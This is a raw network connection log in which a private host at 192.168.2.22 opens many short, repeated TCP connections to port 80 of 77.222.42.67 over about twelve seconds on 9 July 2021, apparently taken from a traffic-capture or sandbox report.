Jul 9, 2021 03:08:52.904444933 CEST	49354	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.905375004 CEST	80	49355	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.905494928 CEST	49355	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.906284094 CEST	49355	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.961172104 CEST	80	49355	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.973921061 CEST	80	49355	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.974020958 CEST	49355	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.200294018 CEST	49355	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.203380108 CEST	49356	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.254112005 CEST	80	49355	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.254328012 CEST	49355	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.255543947 CEST	80	49356	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.255620956 CEST	49356	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.256448984 CEST	49356	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.308552980 CEST	80	49356	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.321491957 CEST	80	49356	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.321638107 CEST	49356	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.543533087 CEST	49356	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.544944048 CEST	49357	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.598571062 CEST	80	49356	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.598706007 CEST	49356	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.599458933 CEST	80	49357	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.599582911 CEST	49357	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.600765944 CEST	49357	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.655451059 CEST	80	49357	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.672774076 CEST	80	49357	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.672847033 CEST	49357	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.896063089 CEST	49357	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.897142887 CEST	49358	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.948636055 CEST	80	49357	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.948796034 CEST	49357	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.951529980 CEST	80	49358	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:53.951637983 CEST	49358	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:53.952621937 CEST	49358	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.006587982 CEST	80	49358	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.020433903 CEST	80	49358	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.020539045 CEST	49358	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.238730907 CEST	49358	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.240034103 CEST	49359	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.292825937 CEST	80	49359	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.292917967 CEST	49359	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.293488026 CEST	80	49358	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.293546915 CEST	49358	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.293967009 CEST	49359	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.347224951 CEST	80	49359	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.359905005 CEST	80	49359	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.359978914 CEST	49359	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.587575912 CEST	49359	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.591764927 CEST	49360	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.639815092 CEST	80	49359	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.639990091 CEST	49359	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.645137072 CEST	80	49360	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.645294905 CEST	49360	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.646614075 CEST	49360	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.702485085 CEST	80	49360	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.716221094 CEST	80	49360	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.716360092 CEST	49360	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.942712069 CEST	49360	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.943875074 CEST	49361	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.996963978 CEST	80	49360	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.997137070 CEST	49360	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.998277903 CEST	80	49361	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:54.998388052 CEST	49361	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:54.999183893 CEST	49361	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.054743052 CEST	80	49361	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.068886995 CEST	80	49361	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.071264982 CEST	49361	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.299539089 CEST	49361	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.300820112 CEST	49362	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.353965998 CEST	80	49362	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.353992939 CEST	80	49361	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.354161978 CEST	49361	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.354681969 CEST	49362	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.355285883 CEST	49362	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.407110929 CEST	80	49362	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.421480894 CEST	80	49362	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.421638966 CEST	49362	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.651098967 CEST	49362	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.653786898 CEST	49363	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.706425905 CEST	80	49362	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.706659079 CEST	49362	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.708108902 CEST	80	49363	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.708236933 CEST	49363	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.709487915 CEST	49363	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:55.763098955 CEST	80	49363	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.776510000 CEST	80	49363	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:55.776616096 CEST	49363	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.008502007 CEST	49363	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.009835958 CEST	49364	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.062153101 CEST	80	49364	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.062216043 CEST	80	49363	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.062367916 CEST	49364	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.062376022 CEST	49363	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.063834906 CEST	49364	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.116307974 CEST	80	49364	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.129362106 CEST	80	49364	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.129642010 CEST	49364	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.350609064 CEST	49364	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.353168011 CEST	49365	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.402823925 CEST	80	49364	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.402992964 CEST	49364	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.405246973 CEST	80	49365	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.405380964 CEST	49365	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.406415939 CEST	49365	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.459306002 CEST	80	49365	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.473161936 CEST	80	49365	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.473294973 CEST	49365	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.687618017 CEST	49365	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.688657045 CEST	49366	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.742238998 CEST	80	49365	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.742422104 CEST	49365	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.744019032 CEST	80	49366	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.744151115 CEST	49366	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.745111942 CEST	49366	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:56.800523043 CEST	80	49366	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.816756010 CEST	80	49366	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:56.816921949 CEST	49366	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.036174059 CEST	49366	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.037643909 CEST	49367	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.089859009 CEST	80	49366	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.089905024 CEST	80	49367	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.089977026 CEST	49366	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.090073109 CEST	49367	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.091557026 CEST	49367	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.143615007 CEST	80	49367	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.157157898 CEST	80	49367	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.157310963 CEST	49367	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.376072884 CEST	49367	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.377319098 CEST	49368	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.429483891 CEST	80	49367	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.429548025 CEST	49367	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.433005095 CEST	80	49368	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.433119059 CEST	49368	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.433643103 CEST	49368	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.486835957 CEST	80	49368	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.505732059 CEST	80	49368	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.506678104 CEST	49368	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.738941908 CEST	49368	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.740211010 CEST	49369	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.792608023 CEST	80	49368	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.792727947 CEST	49368	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.795618057 CEST	80	49369	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.795777082 CEST	49369	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.816495895 CEST	49369	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:57.870076895 CEST	80	49369	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.887936115 CEST	80	49369	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:57.888129950 CEST	49369	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.113327980 CEST	49369	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.115150928 CEST	49370	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.166976929 CEST	80	49369	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.167117119 CEST	49369	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.167289972 CEST	80	49370	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.167422056 CEST	49370	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.168729067 CEST	49370	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.220854998 CEST	80	49370	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.233576059 CEST	80	49370	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.233701944 CEST	49370	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.455425978 CEST	49370	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.456618071 CEST	49371	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.508008957 CEST	80	49370	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.508141041 CEST	49370	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.508739948 CEST	80	49371	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.508927107 CEST	49371	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.510200977 CEST	49371	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.562606096 CEST	80	49371	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.576289892 CEST	80	49371	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.576488972 CEST	49371	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.801371098 CEST	49371	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.803879023 CEST	49372	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.853671074 CEST	80	49371	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.853777885 CEST	49371	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.858073950 CEST	80	49372	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.858201981 CEST	49372	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.859489918 CEST	49372	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:58.912771940 CEST	80	49372	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.927608013 CEST	80	49372	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:58.927726030 CEST	49372	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.159219980 CEST	49372	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.160557032 CEST	49373	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.212925911 CEST	80	49372	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.213035107 CEST	49372	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.214015007 CEST	80	49373	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.214148045 CEST	49373	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.215445995 CEST	49373	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.268939018 CEST	80	49373	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.281848907 CEST	80	49373	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.282049894 CEST	49373	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.503185987 CEST	49373	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.505956888 CEST	49374	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.557861090 CEST	80	49373	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.558104038 CEST	49373	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.559438944 CEST	80	49374	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.559544086 CEST	49374	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.560578108 CEST	49374	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.612951040 CEST	80	49374	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.627177000 CEST	80	49374	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.627329111 CEST	49374	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.861630917 CEST	49374	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.863436937 CEST	49375	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.914232969 CEST	80	49374	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.914433002 CEST	49374	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.917001009 CEST	80	49375	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.917126894 CEST	49375	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.918294907 CEST	49375	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:59.971988916 CEST	80	49375	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.984766006 CEST	80	49375	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:59.984874964 CEST	49375	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.218419075 CEST	49375	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.219858885 CEST	49376	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.272448063 CEST	80	49375	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.272501945 CEST	80	49376	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.272644043 CEST	49375	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.272711992 CEST	49376	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.273938894 CEST	49376	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.327100039 CEST	80	49376	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.340024948 CEST	80	49376	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.340118885 CEST	49376	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.574589014 CEST	49376	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.575798988 CEST	49377	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.627403975 CEST	80	49376	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.627521038 CEST	49376	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.628038883 CEST	80	49377	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.628160000 CEST	49377	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.629359007 CEST	49377	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.681477070 CEST	80	49377	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.695616007 CEST	80	49377	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.695736885 CEST	49377	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.913527012 CEST	49377	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.915044069 CEST	49378	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.966031075 CEST	80	49377	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.966223955 CEST	49377	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.969959021 CEST	80	49378	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:00.970101118 CEST	49378	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:00.971288919 CEST	49378	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.024791002 CEST	80	49378	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.038072109 CEST	80	49378	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.038217068 CEST	49378	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.258702993 CEST	49378	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.259891987 CEST	49379	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.312057018 CEST	80	49379	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.312221050 CEST	80	49378	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.312320948 CEST	49379	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.312330008 CEST	49378	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.312721968 CEST	49379	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.364978075 CEST	80	49379	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.377965927 CEST	80	49379	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.378156900 CEST	49379	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.607810974 CEST	49379	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.609601021 CEST	49380	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.661437988 CEST	80	49379	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.661794901 CEST	49379	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.670016050 CEST	80	49380	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.670183897 CEST	49380	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.671566010 CEST	49380	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.726030111 CEST	80	49380	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.740247011 CEST	80	49380	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:01.740375042 CEST	49380	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.967317104 CEST	49380	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:01.968759060 CEST	49381	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.020860910 CEST	80	49380	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.020917892 CEST	49380	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.022094011 CEST	80	49381	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.022166014 CEST	49381	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.022790909 CEST	49381	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.076000929 CEST	80	49381	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.089610100 CEST	80	49381	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.089674950 CEST	49381	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.303275108 CEST	49381	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.304419041 CEST	49382	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.356388092 CEST	80	49382	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.356507063 CEST	49382	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.356561899 CEST	80	49381	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.356667995 CEST	49381	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.357763052 CEST	49382	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.409729004 CEST	80	49382	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.423607111 CEST	80	49382	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.423715115 CEST	49382	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.652484894 CEST	49382	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.653891087 CEST	49383	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.705689907 CEST	80	49382	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.705821037 CEST	49382	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.708491087 CEST	80	49383	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.708569050 CEST	49383	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.709170103 CEST	49383	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.762972116 CEST	80	49383	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.775859118 CEST	80	49383	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:02.775985003 CEST	49383	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.994143963 CEST	49383	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:02.995352030 CEST	49384	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.047883987 CEST	80	49383	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.047909021 CEST	80	49384	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.048027992 CEST	49383	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.048104048 CEST	49384	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.049237967 CEST	49384	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.101684093 CEST	80	49384	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.115345955 CEST	80	49384	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.115499020 CEST	49384	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.338444948 CEST	49384	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.339956999 CEST	49385	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.391050100 CEST	80	49384	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.391171932 CEST	49384	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.392266035 CEST	80	49385	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.392596960 CEST	49385	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.393691063 CEST	49385	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.445717096 CEST	80	49385	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.463315010 CEST	80	49385	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.463409901 CEST	49385	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.677074909 CEST	49385	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.682866096 CEST	49386	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.729950905 CEST	80	49385	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.730093002 CEST	49385	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.737654924 CEST	80	49386	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.737782955 CEST	49386	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.738653898 CEST	49386	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:03.793855906 CEST	80	49386	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.806829929 CEST	80	49386	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:03.806921959 CEST	49386	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.027404070 CEST	49386	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.029640913 CEST	49387	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.082231045 CEST	80	49386	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.082318068 CEST	49386	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.083363056 CEST	80	49387	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.083575010 CEST	49387	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.084841013 CEST	49387	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.139388084 CEST	80	49387	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.152684927 CEST	80	49387	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.152863026 CEST	49387	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.386708975 CEST	49387	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.389256001 CEST	49388	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.440284967 CEST	80	49387	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.440438032 CEST	49387	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.441431999 CEST	80	49388	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.441540956 CEST	49388	80	192.168.2.22	77.222.42.67
